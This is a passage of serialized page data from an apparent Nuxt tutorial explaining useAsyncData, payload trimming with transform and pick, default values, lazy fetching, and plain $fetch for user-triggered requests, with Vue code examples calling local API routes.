"value":593},{"type":33,"tag":367,"props":9533,"children":9534},{"style":633},[9535],{"type":38,"value":9536}," customers",{"type":33,"tag":367,"props":9538,"children":9539},{"style":380},[9540],{"type":38,"value":2928},{"type":33,"tag":367,"props":9542,"children":9543},{"style":380},[9544],{"type":38,"value":835},{"type":33,"tag":367,"props":9546,"children":9547},{"style":3682},[9548],{"type":38,"value":4288},{"type":33,"tag":367,"props":9550,"children":9551},{"style":539},[9552],{"type":38,"value":9553}," Promise",{"type":33,"tag":367,"props":9555,"children":9556},{"style":380},[9557],{"type":38,"value":174},{"type":33,"tag":367,"props":9559,"children":9560},{"style":1124},[9561],{"type":38,"value":9562},"all",{"type":33,"tag":367,"props":9564,"children":9565},{"style":533},[9566],{"type":38,"value":9567},"([\n",{"type":33,"tag":367,"props":9569,"children":9570},{"class":369,"line":574},[9571,9576,9580,9584,9589,9593,9597],{"type":33,"tag":367,"props":9572,"children":9573},{"style":1124},[9574],{"type":38,"value":9575},"    $fetch",{"type":33,"tag":367,"props":9577,"children":9578},{"style":533},[9579],{"type":38,"value":1131},{"type":33,"tag":367,"props":9581,"children":9582},{"style":380},[9583],{"type":38,"value":388},{"type":33,"tag":367,"props":9585,"children":9586},{"style":391},[9587],{"type":38,"value":9588},"/api/orders",{"type":33,"tag":367,"props":9590,"children":9591},{"style":380},[9592],{"type":38,"value":388},{"type":33,"tag":367,"props":9594,"children":9595},{"style":533},[9596],{"type":38,"value":1141},{"type":33,"tag":367,"props":9598,"children":9599},{"style":380},[9600],{"type":38,"value":908},{"type":33,"tag":367,"props":9602,"children":9603},{"class":369,"line":625},[9604,9608,9612,9616,9621,9625,9629],{"type":33,"tag":367,"props":9605,"children":9606},{"style":1124},[9607],{"type":38,"value":9575},{"type":33,"tag":367,"props":9609,"children":9610},{"style":533},[9611],{"type":38,"value":1131},{"type":33,"tag":367,"props":9613,"children":9614},{"style":380},[9615],{"type":38,"value":388},{"type":33,"tag":367,"props":9617,"children":9618},{"style":391},[9619],{"type":38,"value":9620},"/api/customers",{"type":33,"tag":367,"props":9622,"children":9623},{"style":380},[9624],{"type":38,"value":388},{"type":33,"tag":367,"props":9626,"children":9627},{"style":533},[9628],{"type":38,"value":1141},{"type":33,"tag":367,"props":9630,"children":9631},{"style":380},[9632],{"type":38,"value":908},{"type":33,"tag":367,"props":9634,"children":9635},{"class":369,"line":681},[9636,9641],{"type":33,"tag":367,"props":9637,"children":9638},{"style":533},[9639],{"type":38,"value":9640},"  ])",{"type":33,"tag":367,"props":9642,"children":9643},{"style":380},[9644],{"type":38,"value":571},{"type":33,"tag":367,"props":9646,"children":9647},{"class":369,"line":722},[9648],{"type":33,"tag":367,"props":9649,"children":9650},{"emptyLinePlaceholder":726},[9651],{"type":38,"value":729},{"type":33,"tag":367,"props":9653,"children":9654},{"class":369,"line":732},[9655,9660],{"type":33,"tag":367,"props":9656,"children":9657},{"style":3682},[9658],{"type":38,"value":9659},"  return",{"type":33,"tag":367,"props":9661,"children":9662},{"style":533},[9663],{"type":38,"value":840},{"type":33,"tag":367,"props":9665,"children":9666},{"class":369,"line":766},[9667,9672,9676,9681,9685,9690,9694,9699,9703,9708,9712,9716,9721,9726,9730,9734,9739,9743,9747,9751],{"type":33,"tag":367,"props":9668,"children":9669},{"style":847},[9670],{"type":38,"value":9671},"    revenue",{"type":33,"tag":367,"props":9673,"children":9674},{"style":380},[9675],{"type":38,"value":825},{"type":33,"tag":367,"props":9677,"children":9678},{"style":374},[9679],{"type":38,"value":9680}," orders",{"type":33,"tag":367,"props":9682,"children":9683},{"style":380},[9684],{"type":38,"value":174},{"type":33,"tag":367,"props":9686,"children":9687},{"style":1124},[9688],{"type":38,"value":9689},"reduce",{"type":33,"tag":367,"props":9691,"children":9692},{"style":533},[9693],{"type":38,"value":1341},{"type":33,"tag":367,"props":9695,"children":9696},{"style":1344},[9697],{"type":38,"value":9698},"sum",{"type":33,"tag":367,"props":9700,"children":9701},{"style":380},[9702],{"type":38,"value":593},{"type":33,"tag":367,"props":9704,"children":9705},{"style":1344},[9706],{"type":38,"value":9707}," order",{"type":33,"tag":367,"props":9709,"children":9710},{"style":533},[9711],{"type":38,"value":4242},{"type":33,"tag":367,"props":9713,"children":9714},{"style":633},[9715],{"type":38,"value":4952},{"type":33,"tag":367,"props":9717,"children":9718},{"style":374},[9719],{"type":38,"value":9720}," sum",{"type":33,"tag":367,"props":9722,"children":9723},{"style":380},[9724],{"type":38,"value":9725}," +",{"type":33,"tag":367,"props":9727,"children":9728},{"style":374},[9729],{"type":38,"value":9707},{"type":33,"tag":367,"props":9731,"children":9732},{"style":380},[9733],{"type":38,"value":174},{"type":33,"tag":367,"props":9735,"children":9736},{"style":527},[9737],{"type":38,"value":9738},"total",{"type":33,"tag":367,"props":9740,"children":9741},{"style":380},[9742],{"type":38,"value":593},{"type":33,"tag":367,"props":9744,"children":9745},{"style":901},[9746],{"type":38,"value":1239},{"type":33,"tag":367,"props":9748,"children":9749},{"style":533},[9750],{"type":38,"value":1141},{"type":33,"tag":367,"props":9752,"children":9753},{"style":380},[9754],{"type":38,"value":908},{"type":33,"tag":367,"props":9756,"children":9757},{"class":369,"line":800},[9758,9763,9767,9771,9775,9779],{"type":33,"tag":367,"props":9759,"children":9760},{"style":847},[9761],{"type":38,"value":9762},"    customerCount",{"type":33,"tag":367,"props":9764,"children":9765},{"style":380},[9766],{"type":38,"value":825},{"type":33,"tag":367,"props":9768,"children":9769},{"style":374},[9770],{"type":38,"value":9536},{"type":33,"tag":367,"props":9772,"children":9773},{"style":380},[9774],{"type":38,"value":174},{"type":33,"tag":367,"props":9776,"children":9777},{"style":527},[9778],{"type":38,"value":1229},{"type":33,"tag":367,"props":9780,"children":9781},{"style":380},[9782],{"type":38,"value":908},{"type":33,"tag":367,"props":9784,"children":9785},{"class":369,"line":808},[9786,9790],{"type":33,"tag":367,"props":9787,"children":9788},{"style":533},[9789],{"type":38,"value":1020},{"type":33,"tag":367,"props":9791,"children":9792},{"style":380},[9793],{"type":38,"value":571},{"type":33,"tag":367,"props":9795,"children":9796},{"class":369,"line":843},[9797,9801],{"type":33,"tag":367,"props":9798,"children":9799},{"style":533},[9800],{"type":38,"value":1532},{"type":33,"tag":367,"props":9802,"children":9803},{"style":380},[9804],{"type":38,"value":571},{"type":33,"tag":34,"props":9806,"children":9807},{},[9808,9810,9815,9817,9822],{"type":38,"value":9809},"One key, one payload entry, one hydration. Doing this as two ",{"type":33,"tag":41,"props":9811,"children":9813},{"className":9812},[],[9814],{"type":38,"value":8008},{"type":38,"value":9816}," calls also works, but you then shape the result in a ",{"type":33,"tag":41,"props":9818,"children":9820},{"className":9819},[],[9821],{"type":38,"value":2767},{"type":38,"value":9823}," and ship both raw responses in the payload instead of the two numbers you needed.",{"type":33,"tag":34,"props":9825,"children":9826},{},[9827,9829,9835,9837,9843],{"type":38,"value":9828},"Trimming the payload is worth being deliberate about. ",{"type":33,"tag":41,"props":9830,"children":9832},{"className":9831},[],[9833],{"type":38,"value":9834},"transform",{"type":38,"value":9836}," runs before serialisation, ",{"type":33,"tag":41,"props":9838,"children":9840},{"className":9839},[],[9841],{"type":38,"value":9842},"pick",{"type":38,"value":9844}," is the shorthand for keeping named keys, and both cut what gets embedded in the HTML:",{"type":33,"tag":357,"props":9846,"children":9848},{"code":9847,"language":8808,"meta":7,"className":8809,"style":7},"const { data: articles } = await useAsyncData(\n  \"articles\",\n  () => $fetch(\"/api/articles\"),\n  {\n    default: () => [],\n    transform: (list) =>\n      list.map(({ id, title, publishedAt }) => ({ id, title, publishedAt })),\n  }\n);\n",[9849],{"type":33,"tag":41,"props":9850,"children":9851},{"__ignoreMap":7},[9852,9896,9917,9959,9967,9995,10025,10119,10126],{"type":33,"tag":367,"props":9853,"children":9854},{"class":369,"line":370},[9855,9859,9863,9867,9871,9876,9880,9884,9888,9892],{"type":33,"tag":367,"props":9856,"children":9857},{"style":812},[9858],{"type":38,"value":815},{"type":33,"tag":367,"props":9860,"children":9861},{"style":380},[9862],{"type":38,"value":1854},{"type":33,"tag":367,"props":9864,"children":9865},{"style":374},[9866],{"type":38,"value":8376},{"type":33,"tag":367,"props":9868,"children":9869},{"style":380},[9870],{"type":38,"value":825},{"type":33,"tag":367,"props":9872,"children":9873},{"style":633},[9874],{"type":38,"value":9875}," articles",{"type":33,"tag":367,"props":9877,"children":9878},{"style":380},[9879],{"type":38,"value":547},{"type":33,"tag":367,"props":9881,"children":9882},{"style":380},[9883],{"type":38,"value":835},{"type":33,"tag":367,"props":9885,"children":9886},{"style":3682},[9887],{"type":38,"value":4288},{"type":33,"tag":367,"props":9889,"children":9890},{"style":1124},[9891],{"type":38,"value":9474},{"type":33,"tag":367,"props":9893,"children":9894},{"style":533},[9895],{"type":38,"value":3338},{"type":33,"tag":367,"props":9897,"children":9898},{"class":369,"line":402},[9899,9904,9909,9913],{"type":33,"tag":367,"props":9900,"children":9901},{"style":380},[9902],{"type":38,"value":9903},"  \"",{"type":33,"tag":367,"props":9905,"children":9906},{"style":391},[9907],{"type":38,"value":9908},"articles",{"type":33,"tag":367,"props":9910,"children":9911},{"style":380},[9912],{"type":38,"value":388},{"type":33,"tag":367,"props":9914,"children":9915},{"style":380},[9916],{"type":38,"value":908},{"type":33,"tag":367,"props":9918,"children":9919},{"class":369,"line":574},[9920,9925,9929,9934,9938,9942,9947,9951,9955],{"type":33,"tag":367,"props":9921,"children":9922},{"style":533},[9923],{"type":38,"value":9924},"  ()",{"type":33,"tag":367,"props":9926,"children":9927},{"style":633},[9928],{"type":38,"value":1356},{"type":33,"tag":367,"props":9930,"children":9931},{"style":1124},[9932],{"type":38,"value":9933}," $fetch",{"type":33,"tag":367,"props":9935,"children":9936},{"style":533},[9937],{"type":38,"value":1131},{"type":33,"tag":367,"props":9939,"children":9940},{"style":380},[9941],{"type":38,"value":388},{"type":33,"tag":367,"props":9943,"children":9944},{"style":391},[9945],{"type":38,"value":9946},"/api/articles",{"type":33,"tag":367,"props":9948,"children":9949},{"style":380},[9950],{"type":38,"value":388},{"type":33,"tag":367,"props":9952,"children":9953},{"style":533},[9954],{"type":38,"value":1141},{"type":33,"tag":367,"props":9956,"children":9957},{"style":380},[9958],{"type":38,"value":908},{"type":33,"tag":367,"props":9960,"children":9961},{"class":369,"line":625},[9962],{"type":33,"tag":367,"props":9963,"children":9964},{"style":533},[9965],{"type":38,"value":9966},"  {\n",{"type":33,"tag":367,"props":9968,"children":9969},{"class":369,"line":681},[9970,9975,9979,9983,9987,9991],{"type":33,"tag":367,"props":9971,"children":9972},{"style":1124},[9973],{"type":38,"value":9974},"    default",{"type":33,"tag":367,"props":9976,"children":9977},{"style":380},[9978],{"type":38,"value":825},{"type":33,"tag":367,"props":9980,"children":9981},{"style":533},[9982],{"type":38,"value":2170},{"type":33,"tag":367,"props":9984,"children":9985},{"style":633},[9986],{"type":38,"value":1356},{"type":33,"tag":367,"props":9988,"children":9989},{"style":533},[9990],{"type":38,"value":6782},{"type":33,"tag":367,"props":9992,"children":9993},{"style":380},[9994],{"type":38,"value":908},{"type":33,"tag":367,"props":9996,"children":9997},{"class":369,"line":722},[9998,10003,10007,10011,10016,10020],{"type":33,"tag":367,"props":9999,"children":10000},{"style":1124},[10001],{"type":38,"value":10002},"    transform",{"type":33,"tag":367,"props":10004,"children":10005},{"style":380},[10006],{"type":38,"value":825},{"type":33,"tag":367,"props":10008,"children":10009},{"style":533},[10010],{"type":38,"value":1215},{"type":33,"tag":367,"props":10012,"children":10013},{"style":1344},[10014],{"type":38,"value":10015},"list",{"type":33,"tag":367,"props":10017,"children":10018},{"style":533},[10019],{"type":38,"value":1141},{"type":33,"tag":367,"props":10021,"children":10022},{"style":633},[10023],{"type":38,"value":10024}," =>\n",{"type":33,"tag":367,"props":10026,"children":10027},{"class":369,"line":732},[10028,10033,10037,10042,10046,10050,10055,10059,10064,10068,10073,10077,10081,10085,10090,10094,10098,10102,10106,10110,10115],{"type":33,"tag":367,"props":10029,"children":10030},{"style":374},[10031],{"type":38,"value":10032},"      list",{"type":33,"tag":367,"props":10034,"children":10035},{"style":380},[10036],{"type":38,"value":174},{"type":33,"tag":367,"props":10038,"children":10039},{"style":1124},[10040],{"type":38,"value":10041},"map",{"type":33,"tag":367,"props":10043,"children":10044},{"style":533},[10045],{"type":38,"value":1341},{"type":33,"tag":367,"props":10047,"children":10048},{"style":380},[10049],{"type":38,"value":9146},{"type":33,"tag":367,"props":10051,"children":10052},{"style":1344},[10053],{"type":38,"value":10054}," id",{"type":33,"tag":367,"props":10056,"children":10057},{"style":380},[10058],{"type":38,"value":593},{"type":33,"tag":367,"props":10060,"children":10061},{"style":1344},[10062],{"type":38,"value":10063}," title",{"type":33,"tag":367,"props":10065,"children":10066},{"style":380},[10067],{"type":38,"value":593},{"type":33,"tag":367,"props":10069,"children":10070},{"style":1344},[10071],{"type":38,"value":10072}," publishedAt",{"type":33,"tag":367,"props":10074,"children":10075},{"style":380},[10076],{"type":38,"value":547},{"type":33,"tag":367,"props":10078,"children":10079},{"style":533},[10080],{"type":38,"value":1141},{"type":33,"tag":367,"props":10082,"children":10083},{"style":633},[10084],{"type":38,"value":1356},{"type":33,"tag":367,"props":10086,"children":10087},{"style":533},[10088],{"type":38,"value":10089}," ({",{"type":33,"tag":367,"props":10091,"children":10092},{"style":374},[10093],{"type":38,"value":10054},{"type":33,"tag":367,"props":10095,"children":10096},{"style":380},[10097],{"type":38,"value":593},{"type":33,"tag":367,"props":10099,"children":10100},{"style":374},[10101],{"type":38,"value":10063},{"type":33,"tag":367,"props":10103,"children":10104},{"style":380},[10105],{"type":38,"value":593},{"type":33,"tag":367,"props":10107,"children":10108},{"style":374},[10109],{"type":38,"value":10072},{"type":33,"tag":367,"props":10111,"children":10112},{"style":533},[10113],{"type":38,"value":10114}," }))",{"type":33,"tag":367,"props":10116,"children":10117},{"style":380},[10118],{"type":38,"value":908},{"type":33,"tag":367,"props":10120,"children":10121},{"class":369,"line":766},[10122],{"type":33,"tag":367,"props":10123,"children":10124},{"style":533},[10125],{"type":38,"value":1523},{"type":33,"tag":367,"props":10127,"children":10128},{"class":369,"line":800},[10129,10133],{"type":33,"tag":367,"props":10130,"children":10131},{"style":533},[10132],{"type":38,"value":1141},{"type":33,"tag":367,"props":10134,"children":10135},{"style":380},[10136],{"type":38,"value":571},{"type":33,"tag":34,"props":10138,"children":10139},{},[10140,10142,10147],{"type":38,"value":10141},"An endpoint returning 50 articles with full body text can put several hundred kilobytes into the document. ",{"type":33,"tag":41,"props":10143,"children":10145},{"className":10144},[],[10146],{"type":38,"value":9834},{"type":38,"value":10148}," down to the three fields the list renders and the payload shrinks to the size of the list.",{"type":33,"tag":34,"props":10150,"children":10151},{},[10152,10158,10160,10166,10168,10174,10176,10182,10184,10190,10192,10198,10200,10205,10207,10213],{"type":33,"tag":41,"props":10153,"children":10155},{"className":10154},[],[10156],{"type":38,"value":10157},"default",{"type":38,"value":10159}," matters more than it looks. Without it, ",{"type":33,"tag":41,"props":10161,"children":10163},{"className":10162},[],[10164],{"type":38,"value":10165},"data",{"type":38,"value":10167}," is ",{"type":33,"tag":41,"props":10169,"children":10171},{"className":10170},[],[10172],{"type":38,"value":10173},"undefined",{"type":38,"value":10175}," until the first resolve. ",{"type":33,"tag":41,"props":10177,"children":10179},{"className":10178},[],[10180],{"type":38,"value":10181},"v-for",{"type":38,"value":10183}," tolerates that and renders nothing, but any expression that reaches into the value does not: ",{"type":33,"tag":41,"props":10185,"children":10187},{"className":10186},[],[10188],{"type":38,"value":10189},"articles.length",{"type":38,"value":10191}," in a heading, or ",{"type":33,"tag":41,"props":10193,"children":10195},{"className":10194},[],[10196],{"type":38,"value":10197},"articles[0].title",{"type":38,"value":10199}," in a preview, throws on the first render. Supplying ",{"type":33,"tag":41,"props":10201,"children":10203},{"className":10202},[],[10204],{"type":38,"value":10157},{"type":38,"value":10206}," gives the template the right shape from the first tick and saves you a ",{"type":33,"tag":41,"props":10208,"children":10210},{"className":10209},[],[10211],{"type":38,"value":10212},"v-if",{"type":38,"value":10214}," on every consumer.",{"type":33,"tag":95,"props":10216,"children":10218},{"id":10217},"uselazyasyncdata-and-uselazyfetch",[10219],{"type":38,"value":10220},"useLazyAsyncData and useLazyFetch",{"type":33,"tag":34,"props":10222,"children":10223},{},[10224,10226,10232,10233,10239,10240,10245,10247,10252],{"type":38,"value":10225},"These are not separate implementations. ",{"type":33,"tag":41,"props":10227,"children":10229},{"className":10228},[],[10230],{"type":38,"value":10231},"useLazyAsyncData(key, handler)",{"type":38,"value":10167},{"type":33,"tag":41,"props":10234,"children":10236},{"className":10235},[],[10237],{"type":38,"value":10238},"useAsyncData(key, handler, { lazy: true })",{"type":38,"value":3585},{"type":33,"tag":41,"props":10241,"children":10243},{"className":10242},[],[10244],{"type":38,"value":8175},{"type":38,"value":10246}," stands in the same relation to ",{"type":33,"tag":41,"props":10248,"children":10250},{"className":10249},[],[10251],{"type":38,"value":8008},{"type":38,"value":174},{"type":33,"tag":34,"props":10254,"children":10255},{},[10256,10262],{"type":33,"tag":41,"props":10257,"children":10259},{"className":10258},[],[10260],{"type":38,"value":10261},"lazy: true",{"type":38,"value":10263}," changes one thing: client-side navigation no longer waits for the handler. The route transition completes, the component renders, and the data lands when it lands.",{"type":33,"tag":357,"props":10265,"children":10267},{"code":10266,"language":562,"meta":7,"className":1963,"style":7},"\u003Cscript setup>\nconst { data: related, status } = useLazyFetch(\"/api/articles/related\");\n\u003C/script>\n\n\u003Ctemplate>\n  \u003Caside>\n    \u003Cp v-if=\"status === 'pending'\">Finding related articles\u003C/p>\n    \u003Cul v-else-if=\"related?.length\">\n      \u003Cli v-for=\"article in related\" :key=\"article.id\">{{ article.title }}\u003C/li>\n    \u003C/ul>\n  \u003C/aside>\n\u003C/template>\n",[10268],{"type":33,"tag":41,"props":10269,"children":10270},{"__ignoreMap":7},[10271,10290,10360,10375,10382,10397,10413,10477,10521,10631,10647,10662],{"type":33,"tag":367,"props":10272,"children":10273},{"class":369,"line":370},[10274,10278,10282,10286],{"type":33,"tag":367,"props":10275,"children":10276},{"style":1974},[10277],{"type":38,"value":1977},{"type":33,"tag":367,"props":10279,"children":10280},{"style":1980},[10281],{"type":38,"value":1983},{"type":33,"tag":367,"props":10283,"children":10284},{"style":633},[10285],{"type":38,"value":1988},{"type":33,"tag":367,"props":10287,"children":10288},{"style":1974},[10289],{"type":38,"value":2015},{"type":33,"tag":367,"props":10291,"children":10292},{"class":369,"line":402},[10293,10297,10301,10305,10309,10314,10318,10322,10326,10330,10335,10339,10343,10348,10352,10356],{"type":33,"tag":367,"props":10294,"children":10295},{"style":812},[10296],{"type":38,"value":815},{"type":33,"tag":367,"props":10298,"children":10299},{"style":380},[10300],{"type":38,"value":1854},{"type":33,"tag":367,"props":10302,"children":10303},{"style":374},[10304],{"type":38,"value":8376},{"type":33,"tag":367,"props":10306,"children":10307},{"style":380},[10308],{"type":38,"value":825},{"type":33,"tag":367,"props":10310,"children":10311},{"style":633},[10312],{"type":38,"value":10313}," related",{"type":33,"tag":367,"props":10315,"children":10316},{"style":380},[10317],{"type":38,"value":593},{"type":33,"tag":367,"props":10319,"children":10320},{"style":633},[10321],{"type":38,"value":8394},{"type":33,"tag":367,"props":10323,"children":10324},{"style":380},[10325],{"type":38,"value":547},{"type":33,"tag":367,"props":10327,"children":10328},{"style":380},[10329],{"type":38,"value":835},{"type":33,"tag":367,"props":10331,"children":10332},{"style":1124},[10333],{"type":38,"value":10334}," useLazyFetch",{"type":33,"tag":367,"props":10336,"children":10337},{"style":533},[10338],{"type":38,"value":1131},{"type":33,"tag":367,"props":10340,"children":10341},{"style":380},[10342],{"type":38,"value":388},{"type":33,"tag":367,"props":10344,"children":10345},{"style":391},[10346],{"type":38,"value":10347},"/api/articles/related",{"type":33,"tag":367,"props":10349,"children":10350},{"style":380},[10351],{"type":38,"value":388},{"type":33,"tag":367,"props":10353,"children":10354},{"style":533},[10355],{"type":38,"value":1141},{"type":33,"tag":367,"props":10357,"children":10358},{"style":380},[10359],{"type":38,"value":571},{"type":33,"tag":367,"props":10361,"children":10362},{"class":369,"line":574},[10363,10367,10371],{"type":33,"tag":367,"props":10364,"children":10365},{"style":1974},[10366],{"type":38,"value":2382},{"type":33,"tag":367,"props":10368,"children":10369},{"style":1980},[10370],{"type":38,"value":1983},{"type":33,"tag":367,"props":10372,"children":10373},{"style":1974},[10374],{"type":38,"value":2015},{"type":33,"tag":367,"props":10376,"children":10377},{"class":369,"line":625},[10378],{"type":33,"tag":367,"props":10379,"children":10380},{"emptyLinePlaceholder":726},[10381],{"type":38,"value":729},{"type":33,"tag":367,"props":10383,"children":10384},{"class":369,"line":681},[10385,10389,10393],{"type":33,"tag":367,"props":10386,"children":10387},{"style":1974},[10388],{"type":38,"value":1977},{"type":33,"tag":367,"props":10390,"children":10391},{"style":1980},[10392],{"type":38,"value":2409},{"type":33,"tag":367,"props":10394,"children":10395},{"style":1974},[10396],{"type":38,"value":2015},{"type":33,"tag":367,"props":10398,"children":10399},{"class":369,"line":722},[10400,10404,10409],{"type":33,"tag":367,"props":10401,"children":10402},{"style":1974},[10403],{"type":38,"value":2421},{"type":33,"tag":367,"props":10405,"children":10406},{"style":1980},[10407],{"type":38,"value":10408},"aside",{"type":33,"tag":367,"props":10410,"children":10411},{"style":1974},[10412],{"type":38,"value":2015},{"type":33,"tag":367,"props":10414,"children":10415},{"class":369,"line":732},[10416,10420,10424,10428,10432,10436,10440,10444,10448,10452,10456,10460,10465,10469,10473],{"type":33,"tag":367,"props":10417,"children":10418},{"style":1974},[10419],{"type":38,"value":8654},{"type":33,"tag":367,"props":10421,"children":10422},{"style":1980},[10423],{"type":38,"value":34},{"type":33,"tag":367,"props":10425,"children":10426},{"style":633},[10427],{"type":38,"value":2431},{"type":33,"tag":367,"props":10429,"children":10430},{"style":380},[10431],{"type":38,"value":383},{"type":33,"tag":367,"props":10433,"children":10434},{"style":380},[10435],{"type":38,"value":388},{"type":33,"tag":367,"props":10437,"children":10438},{"style":374},[10439],{"type":38,"value":8518},{"type":33,"tag":367,"props":10441,"children":10442},{"style":633},[10443],{"type":38,"value":1391},{"type":33,"tag":367,"props":10445,"children":10446},{"style":380},[10447],{"type":38,"value":8527},{"type":33,"tag":367,"props":10449,"children":10450},{"style":391},[10451],{"type":38,"value":8532},{"type":33,"tag":367,"props":10453,"children":10454},{"style":380},[10455],{"type":38,"value":8537},{"type":33,"tag":367,"props":10457,"children":10458},{"style":1974},[10459],{"type":38,"value":2484},{"type":33,"tag":367,"props":10461,"children":10462},{"style":2487},[10463],{"type":38,"value":10464},"Finding related articles",{"type":33,"tag":367,"props":10466,"children":10467},{"style":1974},[10468],{"type":38,"value":2382},{"type":33,"tag":367,"props":10470,"children":10471},{"style":1980},[10472],{"type":38,"value":34},{"type":33,"tag":367,"props":10474,"children":10475},{"style":1974},[10476],{"type":38,"value":2015},{"type":33,"tag":367,"props":10478,"children":10479},{"class":369,"line":766},[10480,10484,10488,10492,10496,10500,10505,10509,10513,10517],{"type":33,"tag":367,"props":10481,"children":10482},{"style":1974},[10483],{"type":38,"value":8654},{"type":33,"tag":367,"props":10485,"children":10486},{"style":1980},[10487],{"type":38,"value":102},{"type":33,"tag":367,"props":10489,"children":10490},{"style":633},[10491],{"type":38,"value":8574},{"type":33,"tag":367,"props":10493,"children":10494},{"style":380},[10495],{"type":38,"value":383},{"type":33,"tag":367,"props":10497,"children":10498},{"style":380},[10499],{"type":38,"value":388},{"type":33,"tag":367,"props":10501,"children":10502},{"style":374},[10503],{"type":38,"value":10504},"related",{"type":33,"tag":367,"props":10506,"children":10507},{"style":380},[10508],{"type":38,"value":7364},{"type":33,"tag":367,"props":10510,"children":10511},{"style":527},[10512],{"type":38,"value":1229},{"type":33,"tag":367,"props":10514,"children":10515},{"style":380},[10516],{"type":38,"value":388},{"type":33,"tag":367,"props":10518,"children":10519},{"style":1974},[10520],{"type":38,"value":2015},{"type":33,"tag":367,"props":10522,"children":10523},{"class":369,"line":800},[10524,10529,10533,10537,10541,10545,10550,10554,10558,10562,10566,10570,10574,10578,10582,10586,10590,10594,10598,10602,10607,10611,10615,10619,10623,10627],{"type":33,"tag":367,"props":10525,"children":10526},{"style":1974},[10527],{"type":38,"value":10528},"      \u003C",{"type":33,"tag":367,"props":10530,"children":10531},{"style":1980},[10532],{"type":38,"value":106},{"type":33,"tag":367,"props":10534,"children":10535},{"style":633},[10536],{"type":38,"value":8663},{"type":33,"tag":367,"props":10538,"children":10539},{"style":380},[10540],{"type":38,"value":383},{"type":33,"tag":367,"props":10542,"children":10543},{"style":380},[10544],{"type":38,"value":388},{"type":33,"tag":367,"props":10546,"children":10547},{"style":374},[10548],{"type":38,"value":10549},"article",{"type":33,"tag":367,"props":10551,"children":10552},{"style":380},[10553],{"type":38,"value":8681},{"type":33,"tag":367,"props":10555,"children":10556},{"style":374},[10557],{"type":38,"value":10504},{"type":33,"tag":367,"props":10559,"children":10560},{"style":380},[10561],{"type":38,"value":388},{"type":33,"tag":367,"props":10563,"children":10564},{"style":380},[10565],{"type":38,"value":8695},{"type":33,"tag":367,"props":10567,"children":10568},{"style":633},[10569],{"type":38,"value":8700},{"type":33,"tag":367,"props":10571,"children":10572},{"style":380},[10573],{"type":38,"value":383},{"type":33,"tag":367,"props":10575,"children":10576},{"style":380},[10577],{"type":38,"value":388},{"type":33,"tag":367,"props":10579,"children":10580},{"style":374},[10581],{"type":38,"value":10549},{"type":33,"tag":367,"props":10583,"children":10584},{"style":380},[10585],{"type":38,"value":174},{"type":33,"tag":367,"props":10587,"children":10588},{"style":527},[10589],{"type":38,"value":8721},{"type":33,"tag":367,"props":10591,"children":10592},{"style":380},[10593],{"type":38,"value":388},{"type":33,"tag":367,"props":10595,"children":10596},{"style":1974},[10597],{"type":38,"value":2484},{"type":33,"tag":367,"props":10599,"children":10600},{"style":380},[10601],{"type":38,"value":3023},{"type":33,"tag":367,"props":10603,"children":10604},{"style":374},[10605],{"type":38,"value":10606}," article",{"type":33,"tag":367,"props":10608,"children":10609},{"style":380},[10610],{"type":38,"value":174},{"type":33,"tag":367,"props":10612,"children":10613},{"style":527},[10614],{"type":38,"value":8747},{"type":33,"tag":367,"props":10616,"children":10617},{"style":380},[10618],{"type":38,"value":3041},{"type":33,"tag":367,"props":10620,"children":10621},{"style":1974},[10622],{"type":38,"value":2382},{"type":33,"tag":367,"props":10624,"children":10625},{"style":1980},[10626],{"type":38,"value":106},{"type":33,"tag":367,"props":10628,"children":10629},{"style":1974},[10630],{"type":38,"value":2015},{"type":33,"tag":367,"props":10632,"children":10633},{"class":369,"line":808},[10634,10639,10643],{"type":33,"tag":367,"props":10635,"children":10636},{"style":1974},[10637],{"type":38,"value":10638},"    \u003C/",{"type":33,"tag":367,"props":10640,"children":10641},{"style":1980},[10642],{"type":38,"value":102},{"type":33,"tag":367,"props":10644,"children":10645},{"style":1974},[10646],{"type":38,"value":2015},{"type":33,"tag":367,"props":10648,"children":10649},{"class":369,"line":843},[10650,10654,10658],{"type":33,"tag":367,"props":10651,"children":10652},{"style":1974},[10653],{"type":38,"value":8771},{"type":33,"tag":367,"props":10655,"children":10656},{"style":1980},[10657],{"type":38,"value":10408},{"type":33,"tag":367,"props":10659,"children":10660},{"style":1974},[10661],{"type":38,"value":2015},{"type":33,"tag":367,"props":10663,"children":10664},{"class":369,"line":861},[10665,10669,10673],{"type":33,"tag":367,"props":10666,"children":10667},{"style":1974},[10668],{"type":38,"value":2382},{"type":33,"tag":367,"props":10670,"children":10671},{"style":1980},[10672],{"type":38,"value":2409},{"type":33,"tag":367,"props":10674,"children":10675},{"style":1974},[10676],{"type":38,"value":2015},{"type":33,"tag":34,"props":10678,"children":10679},{},[10680,10682,10687,10689,10695],{"type":38,"value":10681},"Note the missing ",{"type":33,"tag":41,"props":10683,"children":10685},{"className":10684},[],[10686],{"type":38,"value":3685},{"type":38,"value":10688}," and the ",{"type":33,"tag":41,"props":10690,"children":10692},{"className":10691},[],[10693],{"type":38,"value":10694},"related?.length",{"type":38,"value":10696},". Both are load-bearing.",{"type":33,"tag":455,"props":10698,"children":10699},{},[10700],{"type":33,"tag":34,"props":10701,"children":10702},{},[10703,10705,10710,10711,10716],{"type":38,"value":10704},"Because navigation does not wait, ",{"type":33,"tag":41,"props":10706,"children":10708},{"className":10707},[],[10709],{"type":38,"value":10165},{"type":38,"value":10167},{"type":33,"tag":41,"props":10712,"children":10714},{"className":10713},[],[10715],{"type":38,"value":10173},{"type":38,"value":10717}," on the first render of every lazy call. A template that assumes otherwise throws on the transition, and only on the transition, so it will pass a first-load test and fail in use.",{"type":33,"tag":34,"props":10719,"children":10720},{},[10721],{"type":38,"value":10722},"The rule I use: if the page is meaningless without the data, block on it. A product page without the product is a blank page, so that fetch blocks. A sidebar of related articles is decoration, so that one does not.",{"type":33,"tag":95,"props":10724,"children":10726},{"id":10725},"fetch-on-its-own",[10727],{"type":38,"value":10728},"$fetch On Its Own",{"type":33,"tag":34,"props":10730,"children":10731},{},[10732,10737],{"type":33,"tag":41,"props":10733,"children":10735},{"className":10734},[],[10736],{"type":38,"value":8024},{"type":38,"value":10738}," is the plain HTTP client. No key, no payload, no deduplication, no navigation blocking. It runs when you call it.",{"type":33,"tag":34,"props":10740,"children":10741},{},[10742],{"type":38,"value":10743},"That makes it correct for everything the user triggers:",{"type":33,"tag":357,"props":10745,"children":10747},{"code":10746,"language":562,"meta":7,"className":1963,"style":7},"\u003Cscript setup>\nconst email = ref(\"\");\nconst submitting = ref(false);\nconst message = ref(\"\");\n\nasync function subscribe() {\n  submitting.value = true;\n  try {\n    await $fetch(\"/api/subscribe\", {\n      method: 